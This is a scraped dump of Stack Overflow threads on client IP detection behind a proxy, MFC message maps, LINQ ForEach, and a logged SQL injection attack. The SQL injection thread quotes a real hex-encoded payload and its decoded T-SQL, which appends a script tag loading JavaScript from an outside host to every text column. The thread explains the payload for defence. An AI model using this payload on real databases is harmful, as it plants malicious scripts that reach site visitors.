=&gt; s.Trim()).First();\n</code></pre>\n" }, { "answer_id": 38729191, "author": "Mattias Lundblad", "author_id": 5007052, "author_profile": "https://Stackoverflow.com/users/5007052", "pm_score": 0, "selected": false, "text": "<p>Building on tomfannings answer...</p>\n\n<pre><code> public static string ClientIp(this HttpRequestBase @this) {\n var clientIp = string.Empty;\n string forwardedFor = @this.ServerVariables[\"HTTP_X_FORWARDED_FOR\"];\n\n if (string.IsNullOrWhiteSpace(forwardedFor)) {\n clientIp = @this.ServerVariables[\"REMOTE_ADDR\"];\n } else {\n\n var array = forwardedFor\n .Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries)\n .Select(s =&gt; s.Trim());\n\n foreach (var element in array) {\n if (element.IsValidIp4() || element.IsValidIp6()) {\n clientIp = element;\n break;\n }\n }\n }\n return clientIp;\n}\n\npublic static bool IsValidIp4(this string @this) {\n var pattern = new Regex(@\"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$\");\n return pattern.IsMatch(@this);\n}\n\npublic static bool IsValidIp6(this string @this) {\n var pattern = new Regex(@\"^s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:)))(%.+)?s*(\\/(d|dd|1[0-1]d|12[0-8]))$\");\n return pattern.IsMatch(@this);\n}\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200527", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11256/" ]
I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is ``` Request.UserHostAddress ``` What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.
This looks like the work of a reverse proxy. When you use a reverse proxy, the client connects to the proxy, which itself opens a new connection to your server. Since ASP.NET uses the infos of the incoming connection to fill the user address, you get the address of the reverse proxy. If you are indeed in this configuration, you'll need help from the reverse proxy to get the right information. Most reverse proxies offer the possibility to add a header to the HTTP request, with the real IP address of the client. Check the documentation of your proxy.
200,545
<p>I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no <em>successful</em> attacks, but a recent log showed an interesting technique:</p> <p><em>Line breaks added for clarity</em></p> <pre> http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&amp;_X=" </pre> <p>Can anyone shed light on what the "CAST and EXEC" is attempting to do?</p>
[ { "answer_id": 200548, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 6, "selected": true, "text": "<p>Below is the decoded SQL that they were trying to push:</p>\n\n<pre><code>DECLARE @T varchar(255),\n @C varchar(4000) \n\nDECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name\nFROM sysobjects a,syscolumns b \nWHERE a.id=b.id \nAND a.xtype='u' \nAND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) \n\nOPEN Table_Cursor FETCH NEXT \nFROM Table_Cursor INTO @T,@C \nWHILE(@@FETCH_STATUS=0) \n BEGIN exec('update ['+@T+'] SET ['+@C+']=''\"&gt;&lt;/title&gt;&lt;script src=\"http://www2.s800qn.cn/csrss/w.js\"&gt;&lt;/script&gt;&lt;!--''+['+@C+'] WHERE '+@C+' NOT like ''%\"&gt;&lt;/title&gt;&lt;script src=\"http://www2.s800qn.cn/csrss/w.js\"&gt;&lt;/script&gt;&lt;!--''')\n FETCH NEXT FROM Table_Cursor INTO @T,@C \nEND CLOSE Table_Cursor \n\nDEALLOCATE Table_Cursor\n</code></pre>\n" }, { "answer_id": 200558, "author": "DzinX", "author_id": 18745, "author_profile": "https://Stackoverflow.com/users/18745", "pm_score": 4, "selected": false, "text": "<p>The code, when decyphered from hex into chars, seems to go through all your database tables, select all columns that are of text/char type, and at the end of each value of this type add a malicious script execution from <code>http://www2.s800qn.cn/csrss/w.js</code>. Now if in your website, you have at least one place where you don't escape text data retrieved from your database, your site's users will have this malicious script executed on their machines.</p>\n" }, { "answer_id": 200559, "author": "jammus", "author_id": 984, "author_profile": "https://Stackoverflow.com/users/984", "pm_score": 3, "selected": false, "text": "<p>I think we've had this attack before. It's trying to insert a <code>&lt;script&gt;</code> tag in every field in every table in the database.</p>\n" }, { "answer_id": 200563, "author": "DzinX", "author_id": 18745, "author_profile": "https://Stackoverflow.com/users/18745", "pm_score": 1, "selected": false, "text": "<p>The simplest Python algorithm to decypher the hex code is this:</p>\n\n<pre><code>text = \"4445434C415245204054207661726368617228323535292C404...\"\n\ndef getText():\n for i in range(0, len(text), 2):\n byte = text[i:i+2]\n char = int(byte, 16)\n toPrint = chr(char)\n yield toPrint\n\nprint ''.join(getText())\n</code></pre>\n" }, { "answer_id": 200567, "author": "Tometzky", "author_id": 15862, "author_profile": "https://Stackoverflow.com/users/15862", "pm_score": 3, "selected": false, "text": "<p>Run this, for example in mysql:</p>\n\n<pre><code>select CAST(0x44...72 AS CHAR(4000)) as a;\n</code></pre>\n\n<p>and you'll know. Ishmaeel pasted the code.</p>\n\n<p>This is a SQLserver worm, not a targeted atatck.</p>\n" }, { "answer_id": 200572, "author": "Oli", "author_id": 12870, "author_profile": "https://Stackoverflow.com/users/12870", "pm_score": 2, "selected": false, "text": "<p>It's an adware-dropper script, built to clog up your database with <code>&lt;script&gt;</code> tags that show up on your pages. It's encoded because most servers would explode if you tried to push that junk through the URL.</p>\n\n<p>Most things like this are random-attempt-attacks in that they'll hit anything with a querystring but it might be a targeted attack. Test your site to make sure it's not letting any SQL from querystrings execute. Just using parametrised queries <em>should</em> cover you.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200545", "https://Stackoverflow.com", "https://Stackoverflow.com/users/993/" ]
I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no *successful* attacks, but a recent log showed an interesting technique: *Line breaks added for clarity* ``` http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X=" ``` Can anyone shed light on what the "CAST and EXEC" is attempting to do?
Below is the decoded SQL that they were trying to push: ``` DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor ```
200,550
<p>I was just wondering what (if any) the difference was between the following two message traps in MFC for the function, OnSize(..).</p> <h1>1 - Via Message map:</h1> <pre><code>BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd) ... ON_WM_SIZE() .. END_MESSAGE_MAP() </code></pre> <h1>2 - Via afx_message:</h1> <pre><code>afx_msg type OnSize(...); </code></pre> <p>They seem to be used interchangeably, which one should be used or does it depend on other factors?</p>
[ { "answer_id": 200569, "author": "Gerald", "author_id": 19404, "author_profile": "https://Stackoverflow.com/users/19404", "pm_score": 2, "selected": false, "text": "<p>afx_msg is just an empty macro, it's basically just there to denote that the method is an MFC message handler for readability purposes. Even with afx_msg there you still need to have an entry in the message map. </p>\n" }, { "answer_id": 200645, "author": "ChrisN", "author_id": 3853, "author_profile": "https://Stackoverflow.com/users/3853", "pm_score": 5, "selected": true, "text": "<p>Both parts are necessary to add a message handler to a class. The message map should be declared inside your class, together with declarations for any message handler functions (e.g, <code>OnSize</code>).</p>\n\n<pre><code>class CClassWnd : public CBaseClassWnd {\n ...\n afx_msg void OnSize(UINT nType, int cx, int cy);\n DECLARE_MESSAGE_MAP\n};\n</code></pre>\n\n<p><code>afx_msg</code> is just an empty placeholder macro - it doesn't actually do anything, but is always included by convention.</p>\n\n<p>The message map is then defined in the class's .cpp file:</p>\n\n<pre><code>BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd)\n ON_WM_SIZE()\nEND_MESSAGE_MAP()\n</code></pre>\n\n<p>These macros generate a lookup table for the class which allows messages received by the window to be dispatched to the corresponding handler functions. The <code>ON_WM_SIZE</code> macro allows the <code>wParam</code> and <code>lParam</code> message parameters in the <code>WM_SIZE</code> message to be decoded into more meaningful values for the message handler function (<code>nType</code>, <code>cx</code>, and <code>cy</code> in this case). MFC provides macros for most window messages (<code>WM_LBUTTONDOWN</code>, <code>WM_DESTROY</code>, etc).</p>\n\n<p>You can find more information on how message maps work in MFC <a href=\"http://msdn.microsoft.com/en-us/library/0x0cx6b1.aspx\" rel=\"nofollow noreferrer\">here</a> on MSDN.</p>\n" }, { "answer_id": 203675, "author": "jussij", "author_id": 14738, "author_profile": "https://Stackoverflow.com/users/14738", "pm_score": 0, "selected": false, "text": "<p>Some of the Windows message are already handled by <strong>MFC</strong>, so in these cases you can get away with adding just the method to your derived class. </p>\n\n<p>For example the <strong>CWnd</strong> class (as do many other MFC classes) already maps a few Windows messages into it's message map (i.e. <em>ON_WM_DRAWITEM</em>, <em>ON_WM_MEASUREITEM</em>, <em>ON_WM_ENTERIDLE</em> etc, etc). </p>\n\n<p>But any other message not already mapped by MFC will need to have both a class method and an entry in the message map for it to work.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200550", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18664/" ]
I was just wondering what (if any) the difference was between the following two message traps in MFC for the function, OnSize(..). 1 - Via Message map: ==================== ``` BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd) ... ON_WM_SIZE() .. END_MESSAGE_MAP() ``` 2 - Via afx\_message: ===================== ``` afx_msg type OnSize(...); ``` They seem to be used interchangeably, which one should be used or does it depend on other factors?
Both parts are necessary to add a message handler to a class. The message map should be declared inside your class, together with declarations for any message handler functions (e.g, `OnSize`). ``` class CClassWnd : public CBaseClassWnd { ... afx_msg void OnSize(UINT nType, int cx, int cy); DECLARE_MESSAGE_MAP }; ``` `afx_msg` is just an empty placeholder macro - it doesn't actually do anything, but is always included by convention. The message map is then defined in the class's .cpp file: ``` BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd) ON_WM_SIZE() END_MESSAGE_MAP() ``` These macros generate a lookup table for the class which allows messages received by the window to be dispatched to the corresponding handler functions. The `ON_WM_SIZE` macro allows the `wParam` and `lParam` message parameters in the `WM_SIZE` message to be decoded into more meaningful values for the message handler function (`nType`, `cx`, and `cy` in this case). MFC provides macros for most window messages (`WM_LBUTTONDOWN`, `WM_DESTROY`, etc). You can find more information on how message maps work in MFC [here](http://msdn.microsoft.com/en-us/library/0x0cx6b1.aspx) on MSDN.
200,574
<p>I'd like to do the equivalent of the following in LINQ, but I can't figure out how:</p> <pre><code>IEnumerable&lt;Item&gt; items = GetItems(); items.ForEach(i =&gt; i.DoStuff()); </code></pre> <p>What is the real syntax?</p>
[ { "answer_id": 200584, "author": "Fredrik Kalseth", "author_id": 1710, "author_profile": "https://Stackoverflow.com/users/1710", "pm_score": 11, "selected": true, "text": "<p>There is no ForEach extension for <code>IEnumerable</code>; only for <code>List&lt;T&gt;</code>. So you could do</p>\n\n<pre><code>items.ToList().ForEach(i =&gt; i.DoStuff());\n</code></pre>\n\n<p>Alternatively, write your own ForEach extension method:</p>\n\n<pre><code>public static void ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; enumeration, Action&lt;T&gt; action)\n{\n foreach(T item in enumeration)\n {\n action(item);\n }\n}\n</code></pre>\n" }, { "answer_id": 200614, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 9, "selected": false, "text": "<p>Fredrik has provided the fix, but it may be worth considering why this isn't in the framework to start with. I believe the idea is that the LINQ query operators should be side-effect-free, fitting in with a reasonably functional way of looking at the world. Clearly ForEach is exactly the opposite - a <em>purely</em> side-effect-based construct.</p>\n\n<p>That's not to say this is a bad thing to do - just thinking about the philosophical reasons behind the decision.</p>\n" }, { "answer_id": 1107460, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I respectually disagree with the notion that link extension methods should be side-effect free (not only because they aren't, any delegate can perform side effects).</p>\n\n<p>Consider the following:</p>\n\n<pre><code> public class Element {}\n\n public Enum ProcessType\n {\n This = 0, That = 1, SomethingElse = 2\n }\n\n public class Class1\n {\n private Dictionary&lt;ProcessType, Action&lt;Element&gt;&gt; actions = \n new Dictionary&lt;ProcessType,Action&lt;Element&gt;&gt;();\n\n public Class1()\n {\n actions.Add( ProcessType.This, DoThis );\n actions.Add( ProcessType.That, DoThat );\n actions.Add( ProcessType.SomethingElse, DoSomethingElse );\n }\n\n // Element actions:\n\n // This example defines 3 distict actions\n // that can be applied to individual elements,\n // But for the sake of the argument, make\n // no assumption about how many distict\n // actions there may, and that there could\n // possibly be many more.\n\n public void DoThis( Element element )\n {\n // Do something to element\n }\n\n public void DoThat( Element element )\n {\n // Do something to element\n }\n\n public void DoSomethingElse( Element element )\n {\n // Do something to element\n }\n\n public void Apply( ProcessType processType, IEnumerable&lt;Element&gt; elements )\n {\n Action&lt;Element&gt; action = null;\n if( ! actions.TryGetValue( processType, out action ) )\n throw new ArgumentException(\"processType\");\n foreach( element in elements ) \n action(element);\n }\n }\n</code></pre>\n\n<p>What the example shows is really just a kind of late-binding that allows one invoke one of many possible actions having side-effects on a sequence of elements, without having to write a big switch construct to decode the value that defines the action and translate it into its corresponding method.</p>\n" }, { "answer_id": 2956199, "author": "Dor Rotman", "author_id": 78256, "author_profile": "https://Stackoverflow.com/users/78256", "pm_score": 5, "selected": false, "text": "<p>I took Fredrik's method and modified the return type.</p>\n\n<p>This way, the method supports <em>deferred execution</em> like other LINQ methods.</p>\n\n<p><strong>EDIT:</strong> If this wasn't clear, any usage of this method <strong>must end with ToList()</strong> or any other way to force the method to work on the complete enumerable. Otherwise, the action would not be performed!</p>\n\n<pre><code>public static IEnumerable&lt;T&gt; ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; enumeration, Action&lt;T&gt; action)\n{\n foreach (T item in enumeration)\n {\n action(item);\n yield return item;\n }\n}\n</code></pre>\n\n<p>And here's the test to help see it:</p>\n\n<pre><code>[Test]\npublic void TestDefferedExecutionOfIEnumerableForEach()\n{\n IEnumerable&lt;char&gt; enumerable = new[] {'a', 'b', 'c'};\n\n var sb = new StringBuilder();\n\n enumerable\n .ForEach(c =&gt; sb.Append(\"1\"))\n .ForEach(c =&gt; sb.Append(\"2\"))\n .ToList();\n\n Assert.That(sb.ToString(), Is.EqualTo(\"121212\"));\n}\n</code></pre>\n\n<p>If you remove the <strong>ToList()</strong> in the end, you will see the test failing since the StringBuilder contains an empty string. This is because no method forced the ForEach to enumerate.</p>\n" }, { "answer_id": 3273626, "author": "neil martin ", "author_id": 394898, "author_profile": "https://Stackoverflow.com/users/394898", "pm_score": -1, "selected": false, "text": "<p>Yet another <code>ForEach</code> Example </p>\n\n<pre><code>public static IList&lt;AddressEntry&gt; MapToDomain(IList&lt;AddressModel&gt; addresses)\n{\n var workingAddresses = new List&lt;AddressEntry&gt;();\n\n addresses.Select(a =&gt; a).ToList().ForEach(a =&gt; workingAddresses.Add(AddressModelMapper.MapToDomain(a)));\n\n return workingAddresses;\n}\n</code></pre>\n" }, { "answer_id": 3606593, "author": "Tormod", "author_id": 80577, "author_profile": "https://Stackoverflow.com/users/80577", "pm_score": 3, "selected": false, "text": "<p>The purpose of ForEach is to cause side effects.\nIEnumerable is for lazy enumeration of a set.</p>\n\n<p>This conceptual difference is quite visible when you consider it.</p>\n\n<p><code>SomeEnumerable.ForEach(item=&gt;DataStore.Synchronize(item));</code></p>\n\n<p>This wont execute until you do a \"count\" or a \"ToList()\" or something on it.\nIt clearly is not what is expressed.</p>\n\n<p>You should use the IEnumerable extensions for setting up chains of iteration, definining content by their respective sources and conditions. Expression Trees are powerful and efficient, but you should learn to appreciate their nature. And not just for programming around them to save a few characters overriding lazy evaluation.</p>\n" }, { "answer_id": 3864513, "author": "Rhames", "author_id": 466923, "author_profile": "https://Stackoverflow.com/users/466923", "pm_score": 5, "selected": false, "text": "<p>You could use the <code>FirstOrDefault()</code> extension, which is available for <code>IEnumerable&lt;T&gt;</code>. By returning <code>false</code> from the predicate, it will be run for each element but will not care that it doesn't actually find a match. This will avoid the <code>ToList()</code> overhead.</p>\n\n<pre><code>IEnumerable&lt;Item&gt; items = GetItems();\nitems.FirstOrDefault(i =&gt; { i.DoStuff(); return false; });\n</code></pre>\n" }, { "answer_id": 6216510, "author": "Paulustrious", "author_id": 393989, "author_profile": "https://Stackoverflow.com/users/393989", "pm_score": 2, "selected": false, "text": "<p>Now we have the option of...</p>\n\n<pre><code> ParallelOptions parallelOptions = new ParallelOptions();\n parallelOptions.MaxDegreeOfParallelism = 4;\n#if DEBUG\n parallelOptions.MaxDegreeOfParallelism = 1;\n#endif\n Parallel.ForEach(bookIdList, parallelOptions, bookID =&gt; UpdateStockCount(bookID));\n</code></pre>\n\n<p>Of course, this opens up a whole new can of threadworms.</p>\n\n<p>ps (Sorry about the fonts, it's what the system decided)</p>\n" }, { "answer_id": 7067201, "author": "John Wigger", "author_id": 280648, "author_profile": "https://Stackoverflow.com/users/280648", "pm_score": 4, "selected": false, "text": "<p>There is an experimental release by Microsoft of <a href=\"http://www.microsoft.com/download/en/details.aspx?id=26651\" rel=\"noreferrer\">Interactive Extensions to LINQ</a> (also <a href=\"https://www.nuget.org/packages/Ix-Main/\" rel=\"noreferrer\">on NuGet</a>, see <a href=\"https://www.nuget.org/profiles/rxteam\" rel=\"noreferrer\">RxTeams's profile</a> for more links). The <a href=\"http://channel9.msdn.com/Shows/Going+Deep/Bart-De-Smet-Interactive-Extensions-Ix\" rel=\"noreferrer\">Channel 9 video</a> explains it well.</p>\n\n<p>Its docs are only provided in XML format. I have run this <a href=\"http://files.me.com/jwigger/cwysjb\" rel=\"noreferrer\">documentation in Sandcastle</a> to allow it to be in a more readable format. Unzip the docs archive and look for <em>index.html</em>.</p>\n\n<p>Among many other goodies, it provides the expected ForEach implementation. It allows you to write code like this:</p>\n\n<pre><code>int[] numbers = { 1, 2, 3, 4, 5, 6, 7, 8 };\n\nnumbers.ForEach(x =&gt; Console.WriteLine(x*x));\n</code></pre>\n" }, { "answer_id": 7275403, "author": "drstevens", "author_id": 120673, "author_profile": "https://Stackoverflow.com/users/120673", "pm_score": 5, "selected": false, "text": "<p><strong>Update</strong> 7/17/2012: Apparently as of C# 5.0, the behavior of <code>foreach</code> described below has been changed and \"<a href=\"http://msdn.microsoft.com/en-us/library/hh678682%28v=vs.110%29.aspx\" rel=\"noreferrer\">the use of a <code>foreach</code> iteration variable in a nested lambda expression no longer produces unexpected results.</a>\" This answer does not apply to C# ≥ 5.0. </p>\n\n<p>@John Skeet and everyone who prefers the foreach keyword.</p>\n\n<p>The problem with \"foreach\" in C# <strong><a href=\"http://msdn.microsoft.com/en-us/library/hh678682%28v=vs.110%29.aspx\" rel=\"noreferrer\">prior to 5.0</a></strong>, is that it is inconsistent with how the equivalent \"for comprehension\" works in other languages, and with how I would expect it to work (personal opinion stated here only because others have mentioned their opinion regarding readability). See all of the questions concerning \"<a href=\"https://stackoverflow.com/search?q=modified%20closure&amp;submit=search\">Access to modified closure</a>\"\nas well as \"<a href=\"http://blogs.msdn.com/b/ericlippert/archive/2009/11/12/closing-over-the-loop-variable-considered-harmful.aspx\" rel=\"noreferrer\">Closing over the loop variable considered harmful</a>\". This is only \"harmful\" because of the way \"foreach\" is implemented in C#.</p>\n\n<p>Take the following examples using the functionally equivalent extension method to that in @Fredrik Kalseth's answer.</p>\n\n<pre><code>public static class Enumerables\n{\n public static void ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; @this, Action&lt;T&gt; action)\n {\n foreach (T item in @this)\n {\n action(item);\n }\n }\n}\n</code></pre>\n\n<p>Apologies for the overly contrived example. I'm only using Observable because it's not entirely far fetched to do something like this. Obviously there are better ways to create this observable, I am only attempting to demonstrate a point. Typically the code subscribed to the observable is executed asynchronously and potentially in another thread. If using \"foreach\", this could produce very strange and potentially non-deterministic results.</p>\n\n<p>The following test using \"ForEach\" extension method passes:</p>\n\n<pre><code>[Test]\npublic void ForEachExtensionWin()\n{\n //Yes, I know there is an Observable.Range.\n var values = Enumerable.Range(0, 10);\n\n var observable = Observable.Create&lt;Func&lt;int&gt;&gt;(source =&gt;\n {\n values.ForEach(value =&gt; \n source.OnNext(() =&gt; value));\n\n source.OnCompleted();\n return () =&gt; { };\n });\n\n //Simulate subscribing and evaluating Funcs\n var evaluatedObservable = observable.ToEnumerable().Select(func =&gt; func()).ToList();\n\n //Win\n Assert.That(evaluatedObservable, \n Is.EquivalentTo(values.ToList()));\n}\n</code></pre>\n\n<p>The following fails with the error:</p>\n\n<p><em>Expected: equivalent to &lt; 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 > \n But was: &lt; 9, 9, 9, 9, 9, 9, 9, 9, 9, 9 ></em></p>\n\n<pre><code>[Test]\npublic void ForEachKeywordFail()\n{\n //Yes, I know there is an Observable.Range.\n var values = Enumerable.Range(0, 10);\n\n var observable = Observable.Create&lt;Func&lt;int&gt;&gt;(source =&gt;\n {\n foreach (var value in values)\n {\n //If you have resharper, notice the warning\n source.OnNext(() =&gt; value);\n }\n source.OnCompleted();\n return () =&gt; { };\n });\n\n //Simulate subscribing and evaluating Funcs\n var evaluatedObservable = observable.ToEnumerable().Select(func =&gt; func()).ToList();\n\n //Fail\n Assert.That(evaluatedObservable, \n Is.EquivalentTo(values.ToList()));\n}\n</code></pre>\n" }, { "answer_id": 11303108, "author": "Zar Shardan", "author_id": 913845, "author_profile": "https://Stackoverflow.com/users/913845", "pm_score": 2, "selected": false, "text": "<p>This \"functional approach\" abstraction leaks big time. Nothing on the language level prevents side effects. As long as you can make it call your lambda/delegate for every element in the container - you will get the \"ForEach\" behavior.</p>\n\n<p>Here for example one way of merging srcDictionary into destDictionary (if key already exists - overwrites)</p>\n\n<p><strong>this is a hack, and should not be used in any production code.</strong></p>\n\n<pre><code>var b = srcDictionary.Select(\n x=&gt;\n {\n destDictionary[x.Key] = x.Value;\n return true;\n }\n ).Count();\n</code></pre>\n" }, { "answer_id": 11387334, "author": "Nenad", "author_id": 186822, "author_profile": "https://Stackoverflow.com/users/186822", "pm_score": 3, "selected": false, "text": "<p>Many people mentioned it, but I had to write it down. Isn't this most clear/most readable?</p>\n\n<pre><code>IEnumerable&lt;Item&gt; items = GetItems();\nforeach (var item in items) item.DoStuff();\n</code></pre>\n\n<p>Short and simple(st).</p>\n" }, { "answer_id": 14047306, "author": "cdiggins", "author_id": 184528, "author_profile": "https://Stackoverflow.com/users/184528", "pm_score": 5, "selected": false, "text": "<h2>Keep your Side Effects out of my IEnumerable</h2>\n\n<blockquote>\n <blockquote>\n <p>I'd like to do the equivalent of the following in LINQ, but I can't figure out how:</p>\n </blockquote>\n</blockquote>\n\n<p>As others have pointed out <a href=\"https://stackoverflow.com/a/200614/184528\">here</a> and abroad LINQ and <code>IEnumerable</code> methods are expected to be side-effect free. </p>\n\n<p>Do you really want to \"do something\" to each item in the IEnumerable? Then <code>foreach</code> is the best choice. People aren't surprised when side-effects happen here. </p>\n\n<pre><code>foreach (var i in items) i.DoStuff();\n</code></pre>\n\n<h2>I bet you don't want a side-effect</h2>\n\n<p>However in my experience side-effects are usually not required. More often than not there is a simple LINQ query waiting to be discovered accompanied by a StackOverflow.com answer by either Jon Skeet, Eric Lippert, or Marc Gravell explaining how to do what you want!</p>\n\n<h2>Some examples</h2>\n\n<p>If you are actually just aggregating (accumulating) some value then you should consider the <code>Aggregate</code> extension method.</p>\n\n<pre><code>items.Aggregate(initial, (acc, x) =&gt; ComputeAccumulatedValue(acc, x));\n</code></pre>\n\n<p>Perhaps you want to create a new <code>IEnumerable</code> from the existing values. </p>\n\n<pre><code>items.Select(x =&gt; Transform(x));\n</code></pre>\n\n<p>Or maybe you want to create a look-up table:</p>\n\n<pre><code>items.ToLookup(x, x =&gt; GetTheKey(x))\n</code></pre>\n\n<p>The list (pun not entirely intended) of possibilities goes on and on. </p>\n" }, { "answer_id": 15418734, "author": "Israel Margulies", "author_id": 1346806, "author_profile": "https://Stackoverflow.com/users/1346806", "pm_score": 0, "selected": false, "text": "<p>For VB.NET you should use:</p>\n\n<pre><code>listVariable.ForEach(Sub(i) i.Property = \"Value\")\n</code></pre>\n" }, { "answer_id": 20938738, "author": "Mark Seemann", "author_id": 126014, "author_profile": "https://Stackoverflow.com/users/126014", "pm_score": 2, "selected": false, "text": "<p>As numerous answers already point out, you can easily add such an extension method yourself. However, if you don't want to do that, although I'm not aware of anything like this in the BCL, there's still an option in the <code>System</code> namespace, if you already have a reference to <a href=\"https://www.nuget.org/packages/Rx-Main\" rel=\"nofollow noreferrer\">Reactive Extension</a> (and if you don't, you should have):</p>\n\n<pre><code>using System.Reactive.Linq;\n\nitems.ToObservable().Subscribe(i =&gt; i.DoStuff());\n</code></pre>\n\n<p>Although the method names are a bit 